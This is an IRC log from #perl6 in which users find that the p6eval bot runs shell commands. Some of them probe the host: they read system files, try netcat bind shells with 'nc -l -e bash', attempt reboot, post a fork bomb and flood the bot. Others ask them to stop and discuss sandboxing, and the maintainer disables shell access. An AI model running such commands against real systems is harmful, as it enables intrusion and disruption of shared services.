04:57 p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤lol.txt␤Makefile␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc␤»
04:57 fulliautomatix joined #perl6
04:57 clug lol I made lol.txt
04:57 clug In private
04:57 clug this is epic
04:58 * s1n wonders how long until someone tries removing files
04:58 PerlJam rakudo: run("rm lol.txt"); # now s1n
04:58 wayland76 rakudo: .say for qx/rm lol.txt/
04:58 eternaleye_ qx/rm test.txt/
04:58 p6eval rakudo 695300:  ( no output )
04:58 p6eval rakudo 695300: OUTPUT«rm: cannot remove `lol.txt': No such file or directory␤␤»
04:58 eternaleye_ rakudo: qx/rm test.txt/
04:58 p6eval rakudo 695300:  ( no output )
04:58 clug rakudo: .say for qx/ls/.comb(/\S+/);
04:58 p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤LOL_I_CAN_MAKES_FILES␤Makefile␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc␤»
04:58 eternaleye_ rakudo: my $fh2 = open('test.txt'); say $fh2.get
04:58 p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path 'test.txt'␤in Main (src/gen_setting.pm:3166)␤»
04:58 clug >LOL_I_CAN_MAKES_FILES
04:59 wayland76 Can we have a sandbox now?
04:59 zepolen rakudo: qx/touch me/
04:59 p6eval rakudo 695300:  ( no output )
04:59 clug rm -rf /
04:59 eternaleye_ no
04:59 clug lol
04:59 clug I know
04:59 clug I'm not evil
04:59 zepolen rakudo: .say for qx/ls/.comb(/\S+/);
04:59 p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤LOL_I_CAN_MAKES_FILES␤Makefile␤me␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc»
04:59 zepolen jesus
04:59 s1n jnthn: do the custom BUILDs actually work?
04:59 PerlJam so ... what's with the qx/ls/.split stuff anyway?
05:00 eternaleye_ PerlJam: If you can find a readdir implementation, we'll tell you.
05:02 PerlJam I get that you need a readdir proxy, but why say it bunches of times in subtly different ways?
05:03 PerlJam hah!
05:03 PerlJam Parrot VM: PANIC: Out of mem!
05:03 wayland76 They were talking about that error on #parrot the other day
05:03 wayland76 Someone (WhiteKnight?) said it looked like a doozy
05:03 wayland76 ( s/doozy/something else/ )
05:04 PerlJam That was from a program that generates a bunch of objects and then performs various operations on them.
05:04 s1n PerlJam: wow, that sounds suspiciously like every program i've written!
05:05 eternaleye_ s1n: No, sometimes you make a bunch of lambdas!
05:05 wayland76 Not me.  Objects are for wimps :)
05:05 wayland76 perl -e forever :)
05:06 wayland76 (just kidding -- I use objects when the situation warrants)
05:06 s1n i was joking about how vague his statement was :)
05:06 PerlJam I can be more vague if you like  :)
05:07 clug rakudo 695300: OUTPUT?/bin/sh:?telnet:?command?not?found???
05:07 clug : (
05:07 clug I was going to make it says stuff on irc : (
05:07 justatheory rakudo: say what
05:07 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub what␤»
05:07 clug I guess I could always install telnet
05:07 eternaleye_ rakudo: say qx/which ktelnet/
05:07 p6eval rakudo 695300: OUTPUT«␤»
05:07 s1n PerlJam: you wrote a program that created data, manipulated it, possibly performed I/O?
05:07 clug I wonder if wget works
05:07 eternaleye_ rakudo: say qx/which wget/
05:07 p6eval rakudo 695300: OUTPUT«/usr/bin/wget␤␤»
05:07 wayland76 rakudo: say qx/which telnet/
05:08 p6eval rakudo 695300: OUTPUT«␤»
05:08 wayland76 rakudo: say qx/which nc/
05:08 p6eval rakudo 695300: OUTPUT«/bin/nc␤␤»
05:08 eternaleye_ Aha!
05:08 wayland76 Ah, beautiful :)
05:08 s1n yay everyone just figured out how to get shell access to feather with qx! that's so fun
05:09 wayland76 rakudo: say qx/nc 'I can haz spam' mail.example.org -p 25/
05:09 PerlJam rakudo: run("id");
05:09 p6eval rakudo 695300: OUTPUT«I can haz spam: forward host lookup failed: Unknown host␤␤»
05:09 p6eval rakudo 695300: OUTPUT«uid=1000(evalenv) gid=1000(evalenv) groups=1000(evalenv),1001(evalbot)␤»
05:09 PerlJam at least it's not a privileged account :)
05:09 wayland76 rakudo: say qx/echo 'I can haz spam' | nc mail.example.org -p 25/
05:09 p6eval rakudo 695300: OUTPUT«mail.example.org: forward host lookup failed: Unknown host␤␤»
05:09 eternaleye_ rakudo: say qx/nc -l -e zsh -p 1337/
05:09 wayland76 rakudo: say qx{tail /var/log/syslog}
05:09 s1n rakudo: qx/sudo whoami/
05:09 p6eval rakudo 695300:  ( no output )
05:09 p6eval rakudo 695300: OUTPUT«tail: cannot open `/var/log/syslog' for reading: Permission denied␤␤»
05:09 p6eval rakudo 695300:  ( no output )
05:10 wayland76 rakudo: say qx{ls /var/log}
05:10 s1n rakudo: qx/sudo ls/
05:10 p6eval rakudo 695300:
05:10 p6eval ..OUTPUT«apt␤aptitude␤aptitude.1.gz␤aptitude.2.gz␤aptitude.3.gz␤aptitude.4.gz␤aptitude.5.gz␤aptitude.6.gz␤auth.log␤auth.log.0␤auth.log.1.gz␤auth.log.2.gz␤auth.log.3.gz␤auth.log.4.gz␤auth.log.5.gz␤auth.log.6.gz␤boot␤bootstrap.log␤btmp␤btmp.1␤daemon.log␤debug␤dmesg␤dpkg.log␤dpkg.log.1␤dpkg.lo…
05:10 p6eval rakudo 695300:  ( no output )
05:10 wayland76 rakudo: say qx{tail /var/log/auth.log}
05:10 p6eval rakudo 695300: OUTPUT«tail: cannot open `/var/log/auth.log' for reading: Permission denied␤␤»
05:10 wayland76 rakudo: say qx{tail /var/log/messages}
05:10 p6eval rakudo 695300: OUTPUT«tail: cannot open `/var/log/messages' for reading: Permission denied␤␤»
05:11 wayland76 rakudo: say qx{ls /home}
05:11 s1n rakudo: qx/cat \/etc\/passwd/
05:11 p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
05:11 p6eval rakudo 695300:  ( no output )
05:11 s1n rakudo: qx/\/sbin/route/
05:11 wayland76 s1n: I've tried that with "say", and it works
05:11 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "route/"␤in Main (src/gen_setting.pm:0)␤»
05:11 clug rakudo: say qx{wget http://www.google.com}
05:11 eternaleye_ rakudo: say qx/wget http://www.whatismyip.com/automation/n09230945.asp -O -/
05:11 p6eval rakudo 695300: OUTPUT«--2009-05-27 05:11:43--  http://www.google.com/␤Resolving www.google.com... 72.14.221.104, 72.14.221.103, 72.14.221.147, ...␤Connecting to www.google.com|72.14.221.104|:80... connected.␤HTTP request sent, awaiting response... 302 Found␤Location: http://www.google.de/
05:11 p6eval ..[following]␤--…
05:11 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "-/"␤in Main (src/gen_setting.pm:0)␤»
05:11 clug it's in germany...
05:12 clug or whever .de is
05:12 eternaleye_ rakudo: say qx:wget http://www.whatismyip.com/automation/n09230945.asp -O -:
05:12 clug wherever*
05:12 p6eval rakudo 695300: OUTPUT«Colons cannot be used as delimiters in quoting constructs at line 1, near ":wget http"␤in Main (src/gen_setting.pm:0)␤»
05:12 s1n rakudo: qx/perl6/
05:12 p6eval rakudo 695300:  ( no output )
05:12 s1n awww
05:12 eternaleye_ rakudo: say qx[wget http://www.whatismyip.com/automation/n09230945.asp -O -]
05:12 p6eval rakudo 695300: OUTPUT«--2009-05-27 05:12:24--  http://www.whatismyip.com/automation/n09230945.asp␤Resolving www.whatismyip.com... 72.233.89.199, 72.233.89.198, 72.233.89.200␤Connecting to www.whatismyip.com|72.233.89.199|:80... connected.␤HTTP request sent, awaiting response... 200 OK␤Length: 13
05:12 p6eval ..[text/h…
05:12 eternaleye_ ...
05:12 wayland76 de = deutchland (as in, "Deutchland, Deutchlan, uber alles..." )
05:12 eternaleye_ rakudo: say qx[wget http://www.whatismyip.com/automation/n09230945.asp -q -O -]
05:13 p6eval rakudo 695300: OUTPUT«80.237.200.60␤»
05:13 s1n rakudo: qx/reboot/
05:13 p6eval rakudo 695300:  ( no output )
05:13 s1n heh
05:13 eternaleye_ rakudo: say qx/nc -l -e bash -p 1337/
05:13 s1n rakudo: say "still alive"
05:13 p6eval rakudo 695300:  ( no output )
05:13 p6eval rakudo 695300: OUTPUT«still alive␤»
05:13 clug http://80.237.200.60/
05:13 clug ... THAT'S HIS WEBSITE
05:14 eternaleye_ rakudo: say qx/nc -e bash -p 1337/
05:14 p6eval rakudo 695300: OUTPUT«no destination␤␤»
05:15 ssm joined #perl6
05:15 s1n rakudo: qx/cat \/dev\/random \&/
05:15 clug rakudo: say qx{ls /dev | grep audio}
05:15 p6eval rakudo 695300:  ( no output )
05:15 p6eval rakudo 695300: OUTPUT«audio␤audio1␤audio2␤audio3␤audioctl␤␤»
05:15 clug lol
05:16 s1n rakudo: qx{ps -ef | grep cat}
05:16 p6eval rakudo 695300:  ( no output )
05:16 s1n aww
05:16 s1n even background pids are killed
05:16 eternaleye_ rakudo: say qx/nc -l -e bash -p 1337 &/
05:16 clug rakudo: say qx{cat /dev/urandom/ > /dev/audio}
05:16 s1n rakudo: qx{ cat /dev/random | /dev/audio}
05:16 s1n doh, clug had that one
05:17 p6eval rakudo 695300:  ( no output )
05:17 p6eval rakudo 695300: OUTPUT«/bin/sh: /dev/audio: Permission denied␤␤»
05:17 p6eval rakudo 695300:  ( no output )
05:17 wayland76 rakudo: qx/bash -c 'nohup cat \/dev\/random \&'/
05:17 p6eval rakudo 695300: OUTPUT«Malformed UTF-8 string␤in Main (/tmp/CsuiO0nVgH:1)␤»
05:17 s1n wayland76: try with qx{}
05:17 wayland76 rakudo: qx{ps -ef | grep cat}
05:17 p6eval rakudo 695300:  ( no output )
05:17 clug rakudo: say qx{w}
05:17 p6eval rakudo 695300: OUTPUT« 05:17:47 up 266 days, 16:23,  0 users,  load average: 0.29, 0.22, 0.28␤USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT␤␤»
05:18 wayland76 rakudo: print qx{bash -c 'nohup cat /dev/random \&'}
05:18 p6eval rakudo 695300:  ( no output )
05:18 wayland76 rakudo: qx{ps -ef | grep cat}
05:18 p6eval rakudo 695300:  ( no output )
05:19 s1n nothing like testing your security by putting a bot with qx in a channel with bored programmers
05:19 wayland76 I'm surprised at the self-restraint here :)
05:19 zepolen qx{cat /proc/cpuinfo | grep model\ name}
05:20 zepolen rakudo: say qx{cat /proc/cpuinfo | grep model\ name}
05:20 p6eval rakudo 695300: OUTPUT«model name : Intel(R) Pentium(R) 4 CPU 2.00GHz␤␤»
05:20 eternaleye_ rakudo: say qx{ stat /usr/lib/libssl.so }
05:20 p6eval rakudo 695300: OUTPUT«stat: cannot stat `/usr/lib/libssl.so': No such file or directory␤␤»
05:20 s1n rakudo: qx/eject/
05:20 p6eval rakudo 695300:  ( no output )
05:20 s1n yay
05:21 wayland76 rakudo: say while(1) { q x{ wget http://www.example.com/moo.wav -o /dev/audio } }
05:21 eternaleye_ rakudo: say qx{ stat /usr/lib/libcrypto.so }
05:21 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "{ q x{ wge"␤in Main (src/gen_setting.pm:0)␤»
05:21 p6eval rakudo 695300: OUTPUT«stat: cannot stat `/usr/lib/libcrypto.so': No such file or directory␤␤»
05:21 eternaleye_ rakudo: say qx{ stat /usr/lib64/libcrypto.so }
05:21 wayland76 phew!
05:21 p6eval rakudo 695300: OUTPUT«stat: cannot stat `/usr/lib64/libcrypto.so': No such file or directory␤␤»
05:21 wayland76 (I put that space between the q and the x on purpose :) )
05:21 clug :(){ :|:& };:
05:21 eternaleye_ rakudo: say qx{ openssl -V }
05:21 p6eval rakudo 695300: OUTPUT«openssl:Error: '-V' is an invalid command.␤␤Standard commands␤asn1parse      ca             ciphers        crl            crl2pkcs7      ␤dgst           dh             dhparam        dsa            dsaparam       ␤ec             ecparam        enc            engine
05:21 p6eval ..errstr  …
05:21 wayland76 clug: Don't do that :)
05:21 clug k
05:22 clug ls `yes`
05:22 eternaleye_ rakudo: say qx{ openssl -v }
05:22 p6eval rakudo 695300: OUTPUT«openssl:Error: '-v' is an invalid command.␤␤Standard commands␤asn1parse      ca             ciphers        crl            crl2pkcs7      ␤dgst           dh             dhparam        dsa            dsaparam       ␤ec             ecparam        enc            engine
05:22 p6eval ..errstr  …
05:22 s1n rakudo: qx{ cat /proc/filesystems/ }
05:22 p6eval rakudo 695300:  ( no output )
05:22 s1n rakudo: qx{ cat /proc/filesystems }
05:22 p6eval rakudo 695300:  ( no output )
05:22 zepolen rakudo: qx{ls /home}
05:22 p6eval rakudo 695300:  ( no output )
05:22 s1n rakudo: qx{ cat /proc/devices }
05:22 eternaleye_ rakudo: say qx{ openssl version }
05:22 p6eval rakudo 695300:  ( no output )
05:22 p6eval rakudo 695300: OUTPUT«OpenSSL 0.9.8g 19 Oct 2007␤␤»
05:23 eternaleye_ That's not good.
05:23 s1n can't tweak with /proc
05:23 zepolen heh
05:23 wayland76 (clug -- I meant don't try it on Rakudo; I don't mean to suppress you from writing things on the channel -- I ran the command you showed once :) )
05:23 eternaleye_ SSH-2.0-OpenSSH_5.1p1 Debian-5
05:23 zepolen rakudo: say qx{ls /home}
05:23 p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
05:23 clug rakudo: say qx{ls /home/evalenv/pugs/examples/cgi/memory_game/www}
05:23 p6eval rakudo 695300: OUTPUT«game.css␤index.html␤pics␤␤»
05:23 masak joined #perl6
05:23 wayland76 rakudo: say qx{ cat /proc/devices }
05:23 p6eval rakudo 695300: OUTPUT«Character devices:␤  1 mem␤  2 pty␤  3 ttyp␤  4 /dev/vc/0␤  4 tty␤  4 ttyS␤  5 /dev/tty␤  5 /dev/console␤  5 /dev/ptmx␤  7 vcs␤ 10 misc␤ 13 input␤ 29 fb␤128 ptm␤136 pts␤254 twe␤␤Block devices:␤  1 ramdisk␤  2 fd␤  7 loop␤  8 sd␤ 22 ide1␤ 65 sd␤ 66 sd␤ 67 sd␤ 68 sd␤ 69 sd␤ 70
05:23 p6eval ..sd␤ 71…
05:24 wayland76 s1n: You have to "say" it :)
05:24 clug awwbut that's not his webserver
05:24 masak std: say (1, 2, 3) [**] 2
05:24 clug where is it...
05:24 p6eval std 26940: OUTPUT«ok 00:02 37m␤»
05:24 masak rakudo: say (1, 2, 3) [**] 2
05:24 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "[**] 2"␤in Main (src/gen_setting.pm:0)␤»
05:24 s1n rakudo: say qx{ reboot }
05:24 p6eval rakudo 695300: OUTPUT«/bin/sh: reboot: command not found␤␤»
05:24 eternaleye_ Whoever runs the evalbot's machine, you need to upgrade OpenSSH *badly*. It's one of the weak-keys versions.
05:25 s1n rakudo: say qx{ /sbin/reboot }
05:25 p6eval rakudo 695300: OUTPUT«reboot: must be superuser.␤␤»
05:25 clug joined #perl6
05:25 eternaleye_ And if people have DSA keys on it, I recommend regenerating them.
05:25 s1n rakudo: say qx { sudo /sbin/reboot }
05:25 p6eval rakudo 695300: OUTPUT«/bin/sh: sudo: command not found␤␤»
05:25 clug stoptrying to reboot it
05:25 masak s1n: rather than trying to devise attacks against p6eval, please direct your efforts towards building a sandbox for it.
05:26 clug rakudo: say qx{ls /home/}
05:26 p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
05:26 s1n masak: the sandbox seems alright
05:26 zepolen rakudo: say qx{/home/moritz}
05:26 masak s1n: you do give the impression of wanting to hurt p6eval.
05:26 zepolen rakudo: say qx{ls /home/moritz}
05:26 p6eval rakudo 695300: OUTPUT«/bin/sh: /home/moritz: is a directory␤␤»
05:26 p6eval rakudo 695300: OUTPUT«libstring-multibyte-perl_1.05-1_all.deb␤libstring-multibyte-perl_1.05.orig.tar.gz␤String-Multibyte-1.05␤␤»
05:27 s1n masak: why would i want to hurt something i use regularly
05:27 zepolen rakudo: say qx{ls /home/pmurias}
05:27 masak good question.
05:27 p6eval rakudo 695300: OUTPUT«␤»
05:27 s1n masak: if i wanted to hurt it, i'd do something destructive, not reboot
05:27 zepolen this is a boring server
05:27 zepolen rakudo: say qx{ls /var/www}
05:28 p6eval rakudo 695300: OUTPUT«ls: cannot access /var/www: No such file or directory␤␤»
05:28 masak s1n: I'd rather that even knowledgeable people like you didn't try different unintended things with the p6eval server.
05:28 masak it's certainly possible to cause limited harm, if one tries hard enough.
05:28 zepolen rakudo: say qx{ls /var/srv}
05:28 p6eval rakudo 695300: OUTPUT«ls: cannot access /var/srv: No such file or directory␤␤»
05:28 masak I'd prefer it if people didn't try at all.
05:28 zepolen rakudo: say qx{ls /srv/www}
05:28 zepolen :)
05:28 p6eval rakudo 695300: OUTPUT«ls: cannot access /srv/www: No such file or directory␤␤»
05:28 s1n masak: okay, i wasn't trying to harm it, just see what it allowed
05:28 masak zepolen: please abstain. it's not constructive.
05:29 s1n masak: my recommendation is a full chrooted jail, but i'm only a meager programmer :)
05:29 wayland76 masak: I think at least 5 people here have restrained themselves from doing exciting things to the server :)
05:29 clug rakudo: say qx{ls /etc | grep http}
05:29 p6eval rakudo 695300: OUTPUT«␤»
05:29 wayland76 s1n++ suggestion
05:29 wayland76 But I also suggest we all take masak's advice and stop playing with it
05:30 masak as far as I know, it's chrooted already.
05:30 synthEEEE joined #perl6
05:30 clug it responds in private, leave off the "rakudo:"
05:30 s1n masak: then we really can't do any harm
05:30 wayland76 rakudo: say qx{ls /home}
05:30 p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
05:30 s1n masak: but that doesn't explain why i can see /proc
05:30 wayland76 ...or why moritz and pmurias have accounts in the gaol :)
05:31 masak probably not chrooted, then.
05:31 wayland76 JAILBREAK! :)
05:31 masak s1n: I'd rather people didn't try to find out whether harm can be done. the current system is at least partly based on trust and social conventions.
05:32 clug rakudo: say qx{ls -Ra > lseverything.txt}
05:32 p6eval rakudo 695300: OUTPUT«␤»
05:32 clug rakudo: say qx{ls -Ra / > lseverything.txt}
05:32 p6eval rakudo 695300: OUTPUT«ls: cannot open directory /etc/ssl/private: Permission denied␤ls: cannot open directory /home/evalbot/.subversion/auth: Permission denied␤ls: cannot open directory /home/moritz/String-Multibyte-1.05: Permission denied␤ls: cannot open directory /proc/1/fd: Permission denied␤ls:
05:32 p6eval ..cann…
05:32 clug huh it has some sort of timeout
05:32 wayland76 ...or terminates after X amount of output
05:33 clug rakudo: qx{ls -Ra / > lseverything.txt}; say 'done';
05:33 p6eval rakudo 695300: OUTPUT«done␤»
05:33 clug : )
05:34 s1n at the very least i would hope that the account is on a VM so it can always be easily restored if need be
05:35 s1n and any damage is really just limited to giving network access to the vm (or device), which i wouldn't recommend
05:35 s1n then you can let people beat it up all you want
05:36 DQuest wow, that's a permissive bot
05:36 wayland76 rakudo: say qx{which route}
05:36 p6eval rakudo 695300: OUTPUT«␤»
05:36 clug rakudo: qx{ls}
05:36 p6eval rakudo 695300:  ( no output )
05:36 wayland76 rakudo: say qx{ls /sbin/route}
05:36 p6eval rakudo 695300: OUTPUT«/sbin/route␤␤»
05:36 s1n but we should show restraint and not abuse a useful service as moritz_ mentioned
05:36 wayland76 rakudo: say qx{/sbin/route}
05:36 clug Kill it with fire
05:36 p6eval rakudo 695300: OUTPUT«Kernel IP routing table␤Destination     Gateway         Genmask         Flags Metric Ref    Use Iface␤80.237.200.0    *               255.255.255.0   U     0      0        0 eth0␤default         ds80-237-200-1. 0.0.0.0         UG    0      0        0 eth0␤␤»
05:36 masak s1n: my point exactly.
05:37 DQuest s1n: Quite, but I suspect we should also find a mechanism to make it safer to sandbox because sooner or later someone will find a way to do something nasty, even if we're all watching
05:37 wayland76 rakudo: say qx{df}
05:37 p6eval rakudo 695300: OUTPUT«df: no file systems processed␤␤»
05:37 masak clug: I don't find your remark funny, even if meant ironically.
05:37 clug someone is changing permissions
05:37 s1n ha!
05:37 clug ls used to work
05:37 eternaleye_ masak: Do you know who has superuser access? They need to update openssl and regenerate their keys. It's a vilnerable version, and they're on debian.
05:37 eternaleye_ *vulnerable
05:37 s1n no access to file systems, looks like the hand of nod has spoken
05:38 masak eternaleye_: I'll let moritz_ know.
05:38 eternaleye_ masak: Thanks
05:38 wayland76 Whoch changed the permissions?  I want to ++ their karma
05:38 synth^3 joined #perl6
05:39 DQuest And I've got a shortlist of things that would be really dangerous for people to get at that they should be sure to block
05:40 s1n just for comical measure:
05:40 clug rakudo: say 'lol'
05:40 s1n rakudo: qx/sleep/;
05:40 clug it's not working 0_o
05:40 eternaleye_ Actually, as far as sandboxing goes, there's a binary called sandbox that Gentoo uses to restrict build processes. It only works for dynamically linked executables, but it's better than nothing
05:40 clug umm it's busy taking care of about 30 "rakudo: qx{yes &}"
05:40 eternaleye_ It disallows writing outside of allowed dirs
05:41 DQuest ah, it must do some interposing
05:41 eternaleye_ DQuest: It uses LD_PRELOAD
05:41 s1n clug: who did that??
05:41 DQuest and oh boy do I know more about linking and loading than I ever wanted to
05:41 DQuest yep
05:41 eternaleye_ Exherbo's working on a ptrace-based alternative, sydbox
05:41 clug someone
05:41 DQuest I imagine that it's possible to modify rakudo to go into restricted mode
05:42 DQuest indeed, something somewhat like the taint mode of ruby, that refuses to do certain operations such as executing commands if you pass data that's marked as tainted
05:42 DQuest I think I just put my foot in it
05:42 DQuest I bet that came from perl, right?
05:43 eternaleye_ DQuest: perl -T
05:43 eternaleye_ or 'use taint' IIRC
05:43 clug lol it's getting through the yeses
05:44 eternaleye_ DQuest: That's waiting on infectious traits
05:44 p6eval rakudo 695300:  ( no output )
05:44 p6eval rakudo 695300:  ( no output )
05:44 clug it's done
05:44 clug it's alive again
05:44 clug rakudo: say 'I AM JESUS'
05:44 p6eval rakudo 695300: OUTPUT«I AM JESUS␤»
05:45 wayland76 Actually, that's a technique worth remembering if we ever get anyone malicious here
05:45 wayland76 We could all flood the bot with "yes" via private message, and keep them out
05:45 masak banning someone off the channel is a technique worth remembering.
05:45 wayland76 masak: Well, yes, but I don't have privs for that :)
05:46 eternaleye_ masak: remember the I CAN HAZ OPS? discussion?
05:46 wayland76 just a mo...
05:46 wayland76 left #perl6
05:46 masak eternaleye_: no. please remind me.
05:47 wayland76 joined #perl6
05:47 clug Can I have ops please?
05:47 DQuest well, if one can be malicious in private messages...
05:47 DQuest who owns that bot?
05:47 eternaleye_ There was a mibbit user who asked for ops, TimToady kicked him, mentioned the thought of banning mibbit, you and moritz joked for the remainder of the day about it
05:48 clug rakudo: say chr(1);
05:48 eternaleye_ clug: Izzat a DEL?
05:48 masak eternaleye_: oh, that one. yes, he asked "whoz op?"
05:48 clug eternaleye_ it's used in irc protocol
05:49 clug for ctcp
05:49 clug it's a SOH
05:49 DQuest it has to bookmark a message though
05:49 DQuest that said, it's a client-specific thing so maybe some clients would handle it badly
05:49 eternaleye_ For me it cause the right french quote to not show
05:49 eternaleye_ *caused
05:50 dalek rakudo: 14b8735 | pmichaud++ | src/classes/IO.pir:
05:50 dalek rakudo: Update IO.get to return a single line.  Remove obsolete IOIterator class.
05:50 dalek rakudo: review: http://github.com/rakudo/rakudo/commit/14b8735db3fbe4448a0c5deee34af9aa0b56e0f3
05:51 wayland76 I got a square box with a cross in it
05:51 DQuest rakudo: say chr(0)
05:51 p6eval rakudo 695300: OUTPUT«
05:51 DQuest now that's more like it
05:51 eternaleye_ Again with the disappearing wuote
05:51 eternaleye_ *quote
05:51 eternaleye_ Typing while laying down is difficult
05:52 hcchien joined #perl6
05:53 DQuest rakudo: say chr(0), "privmsg dquest :test"
05:53 p6eval rakudo 695300: OUTPUT«
05:54 DQuest well, that behaves sensibly at least
05:55 pmichaud rakudo:  say $*IN.get;
05:55 p6eval rakudo 695300: OUTPUT«Land der Berge, Land am Strome,Land der Äcker, Land der Dome,Land der Hämmer, zukunftsreich!»
05:55 pmichaud rakudo:  say $*IN.lines;
05:55 p6eval rakudo 695300:  ( no output )
05:55 masak pmichaud: probably got cut off before giving any output.
05:56 pmichaud masak: cut off?
05:56 masak pmichaud: moritz_ added tighter CPU restrictions, I think.
05:56 pmichaud how many lines of input are there?
05:56 masak not that many.
05:56 masak 30-ish.
05:56 pmichaud hm.
05:56 masak rakudo: say +$*IN.lines
05:57 p6eval rakudo 695300: OUTPUT«24␤»
05:57 pmichaud rakudo: say +$*IN.get;
05:57 p6eval rakudo 695300: OUTPUT«Method 'Num' not found for invocant of class 'IOIterator'␤»
05:57 pmichaud Weird.  Should be fixed as soon as p6eval updates, though :-)
05:57 clug DQuest: \0 just terminates
05:58 clug \r\n seperates commands
05:59 clug rakudo: say ">\r\n<"
05:59 p6eval rakudo 695300: OUTPUT«>
05:59 clug rakudo: say ">\r<"
05:59 p6eval rakudo 695300: OUTPUT«>
05:59 clug rakudo: say ">\n<"
05:59 p6eval rakudo 695300: OUTPUT«>␤<␤»
06:00 clug rakudo: say "\rsomeoutput"
06:00 p6eval rakudo 695300:  ( no output )
06:00 clug nicely validated
06:01 clug rakudo: say qx(echo 'lol' > *)
06:01 pmichaud rakudo: say +$*IN.get;
06:01 p6eval rakudo 695300:  ( no output )
06:02 p6eval rakudo 695300:  ( no output )
06:02 pmichaud rakudo: say $*IN.get;
06:02 p6eval rakudo 695300:  ( no output )
06:05 pmichaud rakudo: say $*IN.get;
06:05 p6eval rakudo 695300: OUTPUT«Land der Berge, Land am Strome,Land der Äcker, Land der Dome,Land der Hämmer, zukunftsreich!»
06:05 pmichaud rakudo: say +$*IN.get;
06:05 p6eval rakudo 695300:  ( no output )
06:05 pmichaud rakudo: say $*IN.get.WHAT;
06:05 p6eval rakudo 695300: OUTPUT«Str()␤»
06:05 pmichaud rakudo: say +($*IN.get)
06:05 p6eval rakudo 14b873: OUTPUT«0␤»
06:10 clug rakudo: say $*IN.get;
06:10 p6eval rakudo 14b873: OUTPUT«Land der Berge, Land am Strome,␤»
06:10 wayland76 Afternoon tea time.  I'll be back in 20 minutes or so
06:11 clug lol redcoat
06:16 shughes joined #perl6
06:17 moritz_ good morning
06:18 masak moritz_: <eternaleye_> masak: Do you know who has superuser access? They need to update openssl and regenerate their keys. It's a vulnerable version, and they're on debian.
06:19 * masak is playing msgbot today
06:19 moritz_ about the p6eval server?
06:19 masak aye.
06:19 pmichaud afk # sleep time
06:19 masak pmichaud: 'night
06:20 masak moritz_: is p6eval chrooted. I thought it was, but todays backlog suggests it isn't.
06:20 masak s/\./?/
06:20 moritz_ masak: it is
06:21 moritz_ masak: it's just two home dirs that also exists in the chroot's /home/
06:21 Matt-W Morning
06:21 moritz_ that confused the people in here
06:21 masak moritz_: I see.
06:21 masak Matt-W: morning, good sir.
06:25 moritz_ I don't know how eternaleye_ came to that conclusion
06:26 moritz_ it's openssh-server 1:5.1p1-5 which is certainly not a vulnerable version
06:26 masak I don't know either. I'm just the msgbot.
06:27 moritz_ sure
06:28 * moritz_ imagines masak singing "I'm just the msgbot" to the tunes of "I'm just the weatherman" ;-)
06:28 masak speaking of which, there are good chances of rain today.
06:30 Matt-W Looks like it here too
06:36 cotto joined #perl6
06:36 eternaleye_ moritz_: openssl version responds that it was built during the vulnerable window
06:36 eternaleye_ rakudo: say qx{ openssl version }
06:36 p6eval rakudo 14b873: OUTPUT«OpenSSL 0.9.8g 19 Oct 2007␤␤»
06:37 eternaleye_ moritz_: The bad change was introduced in 2006-09-17, and the CVE was in '08
06:37 ssm joined #perl6
06:39 moritz_ eternaleye_: I don't think that debian patches the release date
06:40 moritz_ "For the stable distribution (etch), these problems have been fixed in
06:40 moritz_ version 0.9.8c-4etch3.
06:40 moritz_ "
06:40 eternaleye_ moritz_: Either way, at least check the keys with one of the methods Debian recommends: http://wiki.debian.org/SSLkeys#Testingkeysusingdowkd.pl
06:41 moritz_ that's 0.9.8g-15+lennysomething on the server
06:41 eternaleye_ Also, I'll link to the CVE - it says there are 0.9.8g versions that are vulnerable
06:42 eternaleye_ moritz_: Ah, okay. The CVE says -9 and better are safe. I just thought the date in the version was build,  not release
06:43 moritz_ eternaleye_: thanks for your concerns
06:44 moritz_ (also debian installed the openssh-blacklist module along with the openssh-server security update, which runs ssh-vulnkey and rebuilt keys as needed)
06:44 eternaleye_ My gorram message is taking forever to hit the ML :(
06:45 masak yes, the MLs are slow.
06:45 eternaleye_ It doesn't help that I use NNTP
06:45 eternaleye_ It may well be moderation, though. I sent around 3 hours ago.
06:46 wayland76 Do we have moderation?
06:46 eternaleye_ Usenet does, at least
06:46 moritz_ the mailing lists too
06:46 wayland76 I didn't know that.
06:46 Tene Yes, moderated.
06:46 moritz_ for people how are not subscribed and/or haven't posted for quite some time, at least
06:47 wayland76 Ah, ok, that might be a better system
06:48 wayland76 I'm surprised it accepts the not-subscribed at all
06:48 moritz_ well, it's a rather open community ;-)
06:49 DemoFreak joined #perl6
06:49 masak it doesn't scale. but it has worked so far.
06:49 masak I can't remember ever getting spam through p6l, p6c or p6u.
06:51 cognominal joined #perl6
06:51 wayland76 Me either.  I seem to be getting a lot of spam through my sourceforge address; fortunately pobox is collecting it all for me :)
06:54 shughes left #perl6
07:17 iblechbot joined #perl6
07:21 ElectricHeavyLan left #perl6
07:21 donaldh joined #perl6
07:26 zepolen left #perl6
07:47 pugs_svn r26941 | moritz++ | [S05] document action stubs
07:52 pugs_svn r26942 | moritz++ | [t/spec] smartlink to new S05 section
08:03 edenc joined #perl6
08:17 eMaX joined #perl6
08:20 moritz_ public announcement to all evalbot users: I have a local patch now in rakudo that disables run(), qx and open. That also means that the version reporting of rakudo will be broken, because the SHA-1s differ due to a different commit
08:20 moritz_ (rakudo being rebuilt right now)
